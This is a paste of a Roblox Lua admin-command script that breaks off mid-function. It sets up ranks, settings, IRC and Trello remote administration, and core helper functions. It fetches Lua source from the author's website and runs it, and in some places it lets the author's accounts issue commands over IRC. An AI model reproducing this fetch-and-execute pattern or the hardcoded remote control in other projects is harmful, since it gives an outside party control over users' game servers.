· 7 years ago · Sep 23, 2018, 09:14 PM
1--[[
2Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
3If you want to know what commands do just go into your game and say ;cmds for a list of
4commands, what they do, examples, rank needed, and more!
5Or, go to http://www.classy-studios.com/V3/Commands.php
6If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
7
8
9TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
10
11--->> DO NOT EDIT THESE SETTINGS <<---
12Well you can but it's a waste of your time. The settings are located in workspace
13in a folder called "MakerModelLua's Settings". You can also use this plugin:
14
15http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
16
17USE REMOTE ADMIN:
18http://www.classy-studios.com/Login/
19Mobile: http://appsto.re/us/hEn7fb.i
20
21
22
23...also... this is open source! No stupid shady module scripts, which means it works in studio!
24
25]]
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
50
51
52local Settings = {
53 Ranks = {
54 ["Owner"] = {849841984_00000};
55 ["Admin"] = {};
56 ["Member"] = {};
57 ["Banned"] = {};
58 ["Crashed"] = {};
59 ["Muted"] = {};
60 };
61
62 Prefix = ";";
63 Bet = " ";
64 MinimumAge = 0;
65 ServerLocked = false;
66 ColorScheme = "White";
67 TransparencyScheme = 50;
68 Fun = true;
69 EnableAdminMenu = true;
70 EnableTaskBar = true;
71 FreeAdmin = false;
72 Font = "Arial";
73
74 DisableAbuse = false;
75 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
76 AbusableGear = {};
77
78 LinkedAccount = "";
79 DataKey = "";
80
81 ExecuteNotificationSound = 0; --177578949
82 EnableSounds = true;
83
84 VIPMemberID = 0;
85 VIPAdminID = 0;
86
87 GroupID = 0;
88 GroupBanRank = 0;
89 GroupMemberRank = 0;
90 GroupAdminRank = 0;
91 GroupOwnerRank = 0;
92 GroupRankBan = 0;
93 BannedGroupIDs = {};
94
95 IRCServer = "";
96 IRCChannel = "";
97 IRCCommandExecuters = {};
98
99 TrelloToken = ""
100}
101
102local Colors = {
103 ["WHITE"] = Color3.new(1,1,1);
104 ["BLACK"] = Color3.new(0,0,0);
105 ["GRAY"] = Color3.new(0.5,0.5,0.5);
106 ["RED"] = Color3.new(1,0,0);
107 ["GREEN"] = Color3.new(0,1,0);
108 ["BLUE"] = Color3.new(0,0,1);
109 ["YELLOW"] = Color3.new(1,1,0);
110 ["PINK"] = Color3.new(1,0,1);
111 ["MAGENTA"] = Color3.new(1,0,1);
112 ["CYAN"] = BrickColor.new("Cyan").Color;
113 ["TEAL"] = BrickColor.new("Teal").Color;
114 ["BROWN"] = Color3.new(0.55,0.25,0.075);
115 ["PURPLE"] = Color3.new(0.5,0,0.5);
116 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
117}
118
119local Server = {
120 Workspace = game:GetService("Workspace");
121 Players = game:GetService("Players");
122 Lighting = game:GetService("Lighting");
123 MPS = game:GetService("MarketplaceService");
124 TS = game:GetService("TeleportService");
125 HS = game:GetService("HttpService");
126 RS = game:GetService("RunService");
127 PS = game:GetService("PointsService");
128 TestS = game:GetService("TestService");
129 IS = game:GetService("InsertService");
130 Teams = game:GetService("Teams");
131 Data = game:GetService("DataStoreService");
132 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
133 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
134 Storage = game:GetService("ServerStorage");
135 RS = game:GetService("ReplicatedStorage");
136 AS = game:GetService("AssetService");
137}
138
139local Icons = {
140 ["Message"] = 7724351;
141 ["Error"] = 94011556;
142 ["Information"] = 144175130;
143 ["Check"] = 132769976;
144 ["Search"] = 61994930;
145 ["Time"] = 136391033;
146 ["Notice"] = 156507320;
147 ["Sound"] = 164682936;
148 ["Log"] = 70650545;
149 ["Question"] = 41363872;
150 ["Output"] = 11481605;
151 ["Admin"] = 302470270;
152 ["Lock"] = 11341626;
153 ["Settings"] = 131064748;
154 ["Map"] = 257119661;
155 ["Plugin"] = 257097414;
156}
157
158local IRC = {
159 Codes = {
160 ["001"] = "RPL_WELCOME",
161 ["002"] = "RPL_YOURHOST",
162 ["003"] = "RPL_CREATED",
163 ["004"] = "RPL_MYINFO",
164 ["005"] = "RPL_ISUPPORT",
165 ["250"] = "RPL_STATSCONN",
166 ["251"] = "RPL_LUSERCLIENT",
167 ["252"] = "RPL_LUSEROP",
168 ["254"] = "RPL_LUSERCHANNELS",
169 ["255"] = "RPL_LUSERME",
170 ["265"] = "RPL_LOCALUSERS",
171 ["266"] = "RPL_GLOBALUSERS",
172 ["352"] = "RPL_WHOREPLY",
173 ["371"] = "RPL_INFO",
174 ["372"] = "RPL_MOTD",
175 ["374"] = "RPL_ENDINFO",
176 ["375"] = "RPL_MOTDSTART",
177 ["376"] = "RPL_ENDOFMOTD",
178 ["422"] = "ERR_NOMOTD",
179 },
180 Ignore = {
181 ["004"] = true,
182 ["005"] = true,
183 };
184 Users = {};
185 Logs = {};
186 Chats = {};
187 Forms = {};
188 MessageAdded = Instance.new("BindableEvent");
189
190 Servers = {
191 ["esper.net"] = {
192 BaseUrl = "http://webchat.esper.net/";
193 DynamicUrl = "";
194 };
195 ["quakenet.org"] = {
196 BaseUrl = "http://webchat.quakenet.org/";
197 DynamicUrl = "dynamic/leibniz",
198 };
199 ["swiftirc.net"] = {
200 BaseUrl = "http://qwebirc.swiftirc.net/";
201 DynamicUrl = "",
202 };
203 };
204 NickName = "rbxMMLV3_"..math.random(1,100000);
205
206 SessionCounter = 0;
207 Connected = false;
208 Stop = false;
209 SessionID = "";
210}
211
212local RankHUD = {
213 ["Muted"] = 202180094;
214 ["Non-Admin"] = 202180121;
215 ["Member"] = 202180052;
216 ["Admin"] = 202180015;
217 ["Owner"] = 202179988;
218}
219
220local TextConverter = {
221 LetterSounds = {
222 ["a"] = {223757826, nil}; -- 203343899
223 ["b"] = {223533700, 0.2}; -- 203344029
224 ["c"] = {223533711, nil}; -- 203343994
225 ["d"] = {223757910, nil}; -- 203398237
226 ["e"] = {223758026, nil}; -- 203398295
227 ["f"] = {223777655, nil}; -- 203398347
228 ["g"] = {223777738, nil}; -- 203398372
229 ["h"] = {223777757, nil}; -- 203398397
230 ["i"] = {223777807, nil}; -- 203398422
231 ["j"] = {223782888, nil}; -- 203398450
232 ["k"] = {223533711, nil}; -- 203343994
233 ["l"] = {223782961, 0.4}; -- 203398541
234 ["m"] = {223782992, nil}; -- 203398578
235 ["n"] = {223783063, nil}; -- 203398599
236 ["o"] = {223783184, nil}; -- 203398611
237 ["p"] = {223783235, nil}; -- 203398727
238 ["q"] = {223783260, nil}; -- 203398755
239 ["r"] = {223783305, 0.2}; -- 203398792
240 ["s"] = {223783377, nil}; -- 203398806
241 ["t"] = {223783446, nil}; -- 203398850
242 ["u"] = {223783512, nil}; -- 203398872
243 ["v"] = {223783654, nil}; -- 203398965
244 ["w"] = {223783697, nil}; -- 203398984
245 ["x"] = {223783796, nil}; -- 203399008
246 ["y"] = {223783853, nil}; -- 203399043
247 ["z"] = {223783893, nil}; -- 203399096
248
249 ["ch"] = {223784367, 0.3}; -- 203592149
250 ["th"] = {223788235, 0.3}; -- 203399215
251 ["sh"] = {223784505, 0.2}; -- 203399566
252 ["wh"] = {223784555, 0.3}; -- 203622828
253 ["oo"] = {223784456, 0.3}; -- 203399743
254 ["ing"] = {223784393, 0.3}; -- 203402836
255 };
256
257 LongVowels = {
258 ["a"] = {223533687, nil}; -- 203343932
259 ["e"] = {223777620, nil}; -- 203398314
260 ["i"] = {223777855, nil}; -- 203398440
261 ["o"] = {223783212, nil}; -- 203398619
262 ["u"] = {223783572, nil}; -- 203398897
263 };
264
265 Pronounce = {
266 ["0"] = "zero";
267 ["1"] = "wun";
268 ["2"] = "too";
269 ["3"] = "three";
270 ["4"] = "four";
271 ["5"] = "five";
272 ["6"] = "six";
273 ["7"] = "seven";
274 ["8"] = "eyt";
275 ["9"] = "nine";
276 ["one"] = "wun";
277 ["two"] = "too";
278 ["eight"] = "eyt";
279 ["eigh"] = "ey";
280 ["gh"] = "h";
281 ["kn"] = "n";
282 ["come"] = "cu".."m";
283 ["bye"] = "bi";
284 ["#"] = "hashtag";
285 ["@"] = "at";
286 ["&"] = "and";
287 ["*"] = "astrict";
288 ["mn"] = "m";
289 ["kn"] = "n";
290 ["ies"] = "ees";
291 };
292
293 NonEnglishRules = {
294 ["to"] = "too";
295 ["you"] = "yoo";
296 ["we"] = "wee";
297 ["are"] = "erh";
298 ["your"] = "yoor";
299 ["you're"] = "yoor";
300 ["youre"] = "yoor";
301 ["pizza"] = "peetzoh";
302 ["ok"] = "okay";
303 ["have"] = "hav";
304 ["my"] = "mi";
305 ["me"] = "mee";
306 ["u"] = "yoo";
307 ["r"] = "erh";
308 ["move"] = "moov";
309 ["dove"] = "duv";
310 ["debris"] = "debree";
311 ["do"] = "doo";
312 }
313}
314
315local HTMLDecode = {
316 ["35"] = "#";
317 ["36"] = "$";
318 ["37"] = "%%";
319 ["38"] = "*";
320 ["39"] = "'";
321 ["58"] = ":";
322 ["59"] = ";";
323 ["60"] = "<";
324 ["62"] = ">";
325}
326
327
328local Assets = {
329 Packages = {
330 [27112438] = {27112025,27112039,27112052,27112056,27112068};
331 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
332 [77518833] = {77518564,77518616,77518654,77518696,77518737};
333 [32336368] = {32336059,32336117,32336182,32336243,32336306};
334 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
335 [54116460] = {54116290,54116338,54116373,54116394,54116432};
336 [39977366] = {39976703,39976829,39976927,39977192,39977295};
337 [32357766] = {32357663,32357631,32357619,32357584,32357558};
338 [27123973] = {27121265,27121306,27121353,27121393,27121432};
339 [55717536] = {55717271,55717330,55717388,55717434,55717491};
340 [28279963] = {28279160,28279217,28279859,28279894,28279938};
341 [27403592] = {27402580,27402546,27402641,27402714,27402742};
342 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
343 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
344 [48474394] = {48474356,48474294};
345 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
346 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
347 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
348 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
349 [33378577] = {33378366,33378438,33378484,33378522,33378540};
350 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
351 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
352 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
353 [41851073] = {41850825,41850868,41850915,41851009,41850959}
354 };
355 AssetTypes = {
356 [0] = "Product";
357 [1] = "Image";
358 [2] = "T-Shirt";
359 [3] = "Audio";
360 [4] = "Mesh";
361 [5] = "Lua";
362 [6] = "HTML";
363 [7] = "Text";
364 [8] = "Hat";
365 [9] = "Place";
366 [10] = "Model";
367 [11] = "Shirt";
368 [12] = "Pants";
369 [13] = "Decal";
370 [16] = "Avatar";
371 [17] = "Head";
372 [18] = "Face";
373 [19] = "Gear";
374 [21] = "Badge";
375 [22] = "Group Emblem";
376 [24] = "Animation";
377 [25] = "Arms";
378 [26] = "Legs";
379 [27] = "Torso";
380 [28] = "Right Arm";
381 [29] = "Left Arm";
382 [30] = "Left Leg";
383 [31] = "Right Leg";
384 [32] = "Package";
385 [33] = "YouTube Video";
386 [34] = "Game Pass";
387 [38] = "Plugin";
388 [39] = "SolidModel";
389 [40] = "MeshPart";
390 [41] = "Hair Accessory";
391 [42] = "Face Accessory";
392 [43] = "Neck Accessory";
393 [44] = "Shoulder Accessory";
394 [45] = "Front Accessory";
395 [46] = "Back Accessory";
396 };
397 AccessoryTypes = {
398 ["all"] = 19;
399 ["hats"] = 9;
400 ["hair"] = 20;
401 ["face"] = 21;
402 ["neck"] = 22;
403 ["shoulder"] = 23;
404 ["front"] = 24;
405 ["back"] = 25;
406 ["waist"] = 26;
407 };
408}
409
410local CharacterCache = {
411 {"MakerModelLua", 38837082};
412 {"LuaModelMaker", 20920633};
413 {"builderman", 156};
414 {"Shedletsky", 261};
415 {"Telamon", 13645};
416 {"ROBLOX", 1};
417}
418
419local FaceCovert = {
420 Left = "xpos";
421 Right = "xneg";
422 Front = "zpos";
423 Back = "zneg";
424 Top = "ypos";
425 Bottom = "yneg";
426}
427
428local Meshes = {
429 ["crown"] = {1, 1078075};
430 ["king"] = {1, 11419761};
431 ["teapot"] = {0.03, 1029523};
432 ["apple"] = {2.5, 16190555};
433 ["potato"] = {1, 25268275};
434 ["panda"] = {0.5, 20709221};
435 ["dominus"] = {0.5, 21057410};
436 ["fedora"] = {0.75, 13640868};
437 ["noob"] = {1, 20929341};
438 ["knife"] = {0.3, 121944778};
439 ["book"] = {0.3, 1136139};
440}
441
442local NotifySounds = {
443 ["Hover"] = 223134269;
444 ["Select"] = 292141227;
445}
446
447local Trello = {
448 TrelloInfoCard = "x1rUtwEj";
449 MainBoard = {};
450 RequiredLists = {};
451 RankChecklistCache = {};
452 ToggleChecklist = nil;
453 CommandID = nil;
454 LastCommandDT = 0;
455 AdminBoardID = "577ea1b21cb7975666524f26";
456 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
457 RemoteDataCard = "dLtMo1en"
458}
459
460local ScriptBuilders = {
461 [260897989] = "MML's";
462 [21053279] = "Anti's pub";
463 [21053219] = "Anti's pri";
464 [20279777] = "Void's 1";
465 [437965235] = "Void's 2";
466 [227015991] = "Vox's";
467 [210101277] = "Master's";
468 [531937877] = "Bleu pigs";
469 [519251450] = "Game's";
470}
471
472-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
473-- Why else would I NOT have put it in a module?!?!?
474
475local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
476
477local SoundList,GlobalSoundList = {},{}
478local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
479local TempChatLogs = {}
480local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
481local NoSpeak = false
482
483local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
484local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
485
486local ChatLogs,CommandLogs = {},{}
487local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
488local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
489local Dispose,Jails,PermCommandBars = {},{},{}
490local Waypoints = {["Center"] = Vector3.new(0,0,0)}
491local Objects = {}
492local Sound = nil
493local ModLighting = false
494local DataReady = true
495local RemoteAbuseGear = {}
496
497local GameOwner = "[ Client ]"
498local PlaceName = "Unknown"
499local PlaceInfo = {}
500local IsStudio = false
501local IsSB = false
502local Date = nil
503local Fonts = {}
504local PendingRequests = {}
505local F3X = script:FindFirstChild("F3X Tools")
506local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
507local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
508local KeyBinds = {}
509local Crowns = {}
510local LastKeys = {}
511local Cars = {}
512local StringReplacements = {}
513local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
514local NoBet = {"/", "-", "(", ")", ""}
515local ShouldFilter = true
516
517local CrownStorage = script:FindFirstChild("CrownStorage")
518if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
519
520-- import old settings just in case --
521local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
522if OldSettings then
523 OldSettings = require(OldSettings)
524
525 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
526 Settings[ValName] = OldSettings[ValName]
527 end
528 Settings.GroupBanRank = OldSettings.RankBan
529 Settings.Fun = OldSettings.FUN
530end
531
532if F3X then
533 F3X = F3X:Clone()
534 F3X.Handle.Anchored = false
535 script:FindFirstChild("F3X Tools"):Destroy()
536end
537
538wait(0.1)
539
540local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
541-- tries to defualt to server storage, just in case an exploiter makes their own settings.
542
543if SettingsValues then
544 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
545 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
546 for _,Value in pairs(SettingsValues:GetChildren()) do
547 if Settings[Value.Name] ~= nil then
548 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
549 for _,NewValue in pairs(Value:GetChildren()) do
550 if ypcall(function() return NewValue.Value end) then
551 if Settings[Value.Name][NewValue.Name] then
552 local Val = NewValue.Value
553 if type(Settings[Value.Name][NewValue.Name]) == "table" then
554 Val = {}
555 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
556 table.insert(Val, Word)
557 end
558 end
559 Settings[Value.Name][NewValue.Name] = Val
560 end
561 end
562 end
563 else
564 if Settings[Value.Name] ~= nil then
565 local Val = Value.Value
566 if type(Settings[Value.Name]) == "table" then
567 Val = {}
568 for Word in string.gmatch(Value.Value, "%w+") do
569 table.insert(Val, Word)
570 end
571 end
572 Settings[Value.Name] = Val
573 end
574 end
575 end
576 end
577 end
578end
579
580if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
581 Settings.LinkedAccount = ""
582elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
583 Settings.LinkedAccount = "Admin"
584end
585
586local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
587local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
588
589wait(1)
590
591local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
592
593if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
594
595if not IsStudio then
596 Server.NS = game:GetService("NetworkServer")
597 script.Name = "Maker".."Mo".."delLua's Admin".."Modded"
598end
599
600if game.PlaceId > 0 then
601 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
602 PlaceName = PlaceInfo.Name
603end
604
605local function GetGameOwner()
606 if PlaceInfo.Creator.CreatorType == "Group" then
607 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
608 print("MML's Admin: Found group owner for game: "..GameOwner)
609 elseif PlaceInfo.Creator.CreatorType == "User" then
610 GameOwner = PlaceInfo.Creator.Name
611 print("MML's Admin: Found game owner: "..GameOwner)
612 else
613 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
614 end
615end
616
617if string.byte(string.sub(PlaceName,1,1)) == 226 then
618 PlaceName = string.sub(PlaceName,4,#PlaceName)
619end
620for i = 1,5 do
621 if GameOwner == "[ Client ]" then
622 print("MML's Admin: Attempting to establish owner's name #"..i)
623 GetGameOwner()
624 wait(1)
625 end
626end
627
628if ScriptBuilders[PlaceID] or NLS then
629 IsSB = true
630end
631
632if IsSB then
633 ShouldFilter = false
634 Settings.IRCServer = "swiftirc.net";
635 Settings.IRCChannel = "#PkamaraSB";
636 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
637 if Settings.TrelloToken == "" then
638 Settings.LinkedAccount = "ScriptBuilder"
639 end
640 if Settings.DataKey == "" then coroutine.wrap(function()
641 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
642 local Key = Server.Storage:FindFirstChild("MML DataKey")
643 print("Found key: "..Key.Value)
644 Settings.DataKey = Key.Value
645 Key:Destroy()
646 end)() end
647end
648local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
649table.insert(Settings.Ranks["Owner"], GameOwner)
650
651for _,Font in pairs(Enum.Font:GetEnumItems()) do
652 Fonts[Font.Name] = Font
653end
654
655local LogClient = script:FindFirstChild("AddClientInfo")
656if LogClient then LogClient:Destroy() end
657LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
658LogClient.OnServerInvoke = function(Player, Info)
659 if Info then
660 for Key,Data in pairs(Info) do
661 ClientInfo[Player.Name][Key] = Data
662 end
663 end
664end
665
666local function MakeFunction(Type, Name)
667 local Func = script:FindFirstChild(Name)
668 if Func then Func:Destroy() end
669 Func = Instance.new(Type, script) Func.Name = Name
670
671 getfenv()[Name] = Func
672 return Func
673end
674
675MakeFunction("BindableFunction", "ExecuteCommand")
676MakeFunction("RemoteFunction", "ExecuteCommandClient")
677MakeFunction("BindableFunction", "ExecuteCode")
678
679MakeFunction("RemoteFunction", "IsAdmin")
680MakeFunction("RemoteFunction", "AddExploit")
681MakeFunction("BindableFunction", "AddExploitServer")
682MakeFunction("RemoteFunction", "KickClient")
683MakeFunction("RemoteFunction", "ConvertTextToSound")
684
685MakeFunction("RemoteFunction", "KeyPressed")
686MakeFunction("RemoteFunction", "InputKey")
687
688MakeFunction("RemoteFunction", "RankPlayerLocal")
689MakeFunction("BindableFunction", "RankPlayerServer")
690
691--[[
692if NLS then
693 local Value = script:FindFirstChild("Override")
694 LogClient.Parent = game
695 if not Value then
696 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
697 local CloneScript = script:Clone()
698 CloneScript.Disabled = true
699 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
700 CloneScript.Disabled = false
701 CloneScript.Parent = nil
702
703 script:Destroy() script.Disabled = true
704 end
705end
706]]
707
708if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
709
710IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
711
712-- Core functions --
713
714function CORE:FixSettings()
715 for _,Bet in pairs(NoBet) do
716 if Settings.Bet == Bet then
717 Settings.Bet = " "
718 break
719 end
720 end
721 CORE:ChangeBet(Settings.Bet)
722
723 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
724 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
725
726 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
727 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
728 Settings.TransparencyScheme = Settings.TransparencyScheme/100
729
730 if not Fonts[Settings.Font] then
731 Settings.Font = "Arial"
732 end
733end
734
735function CORE:NilPlayer(Player)
736 if Player == nil or type(Player) == "table" then return true else return false end
737end
738
739function CORE:ExecuteResource(ResourceName, Parent, Data)
740 local ReturnScript = nil
741 local Executed = true
742 if script:FindFirstChild("Resources") then
743 local RawResource = script.Resources:FindFirstChild(ResourceName)
744 if RawResource then
745 local Resource = RawResource:Clone()
746 Resource.Disabled = true
747 Resource.Parent = Parent
748 if Data then
749 for Key,Value in pairs(Data) do
750 if Resource[Key] then
751 Resource[Key].Value = Value
752 end
753 end
754 end
755 wait()
756 Resource.Disabled = false
757 ReturnScript = Resource
758 else
759 Executed = false
760 end
761 else
762 Executed = false
763 end
764 if Executed == false then
765 if not Data then Data = {} end
766 local Source = ScriptCache[ResourceName]
767
768 if not Source then
769 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
770 if Source then
771 ScriptCache[ResourceName] = Source
772 end
773 end
774
775 if Data and Source then
776 for Key,Value in pairs(Data) do
777 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
778 end
779 end
780
781 if Source then
782 if NLS then
783 ReturnScript = NLS(Source, Parent)
784 elseif createLocalScriptWithSource then
785 ReturnScript = createLocalScriptWithSource(Source)
786 ReturnScript.Parent = Parent
787 end
788 end
789 end
790 return ReturnScript
791end
792
793function CORE:CreateRemotePropertyReader(Obj, Override)
794 if Server.Workspace.FilteringEnabled == true or Override then
795 local Reader = Instance.new("RemoteFunction", Obj)
796 Reader.Name = "RemotePropertyReader"
797 CORE:ExecuteResource("RemotePropertyReader", Reader)
798 return Reader
799 else
800 return Obj
801 end
802end
803
804function CORE:ReadProperty(Reader, Player, Property)
805 if Reader:IsA("RemoteFunction") then
806 return Reader:InvokeClient(Player, Property)
807 else
808 return Reader[Property]
809 end
810end
811
812function CORE:WriteProperty(Reader, Player, Property, Value)
813 if Reader:IsA("RemoteFunction") then
814 return Reader:InvokeClient(Player, Property, Value)
815 else
816 return Reader[Property]
817 end
818end
819
820
821function CORE:CreateRemoteEvent(Obj, EventName)
822 local Event = Instance.new("RemoteEvent", Obj)
823 Event.Name = "RemoteEvent_"..EventName
824 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
825 return Event
826end
827
828function CORE:HandleEvent(Obj, EventName, Func, NewThread)
829 local function Handle()
830 if Server.Workspace.FilteringEnabled == true then
831 local Event = CORE:CreateRemoteEvent(Obj, EventName)
832 return Event.OnServerEvent:connect(function(Player, ...)
833 Func(...)
834 end)
835 else
836 return Obj[EventName]:connect(Func)
837 end
838 end
839 if NewThread then
840 Spawn(Handle)
841 else
842 Handle()
843 end
844end
845
846function CORE:HandleError(Error, Speaker)
847 local Return = ""
848 if not Error or Error == "" then
849 Return = "Unknown Error"
850 else
851 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
852 end
853 if Speaker then
854 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
855 end
856 return Return
857end
858
859local function ExecuteSafe(Source, Speaker) -- no CORE
860 local Script, Error = loadstring(Source)
861 if Error then
862 return false, CORE:HandleError(Error, Speaker)
863 else
864 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
865 getfenv(Script).Server, getfenv(Script).script = Server,script
866 if Speaker then
867 getfenv(Script).print = function(...)
868 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
869 end
870 getfenv(Script).print_array = function(List)
871 if type(List) == "table" then
872 GUI:ListGui(Speaker, "Listed Table", List, "Output")
873 end
874 end
875 end
876
877 local Suc, Error = ypcall(coroutine.wrap(Script))
878
879 if not Suc then
880 Error = CORE:HandleError(Error, Speaker)
881 end
882
883 return Suc,Error
884 end
885end
886
887function CORE:GetTime(Regular, FullDate)
888 if Regular == nil then Regular = true end
889 local Meridiem = ""
890 if Regular == true then Meridiem = " AM" end
891 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
892 local Hour = math.floor(SecondsOfToday / (60*60))
893 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
894 local Second = math.floor(math.fmod(SecondsOfToday, 60))
895 if Hour > 12 and Regular == true then
896 Hour = Hour - 12
897 Meridiem = " PM"
898 end
899 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
900 if #Hour <= 1 then Hour = "0"..Hour end
901 if #Minute <= 1 then Minute = "0"..Minute end
902 if #Second <= 1 then Second = "0"..Second end
903 local Return = Hour..":"..Minute..":"..Second..Meridiem
904 if FullDate == true and Date then Return = Date.." "..Return end
905 return Return
906end
907
908function CORE:RemoveAdmin(Speaker)
909 local Answer = true -- false
910 if not CORE:NilPlayer(Speaker) then
911 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
912 end
913 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
914 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
915 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
916 for _,Item in pairs(Player:GetChildren()) do
917 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
918 Item:Destroy()
919 end
920 end
921 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
922 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
923 GUI:Destroy()
924 end
925 end
926 end end
927 for _,Car in pairs(Cars) do
928 Car:Destroy()
929 end
930 CORE:FixLighting()
931 while wait() do
932 if script:FindFirstChild("Override") then script.Override.Value = true end
933 Settings,CORE,IRC = nil,{},{}
934 if Sound then Sound:Stop() end
935 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
936 script:ClearAllChildren() script:Destroy() script.Disabled = true
937 end
938 end
939end
940
941function CORE:MakeBase()
942 for _,Get in pairs(Workspace:GetChildren()) do
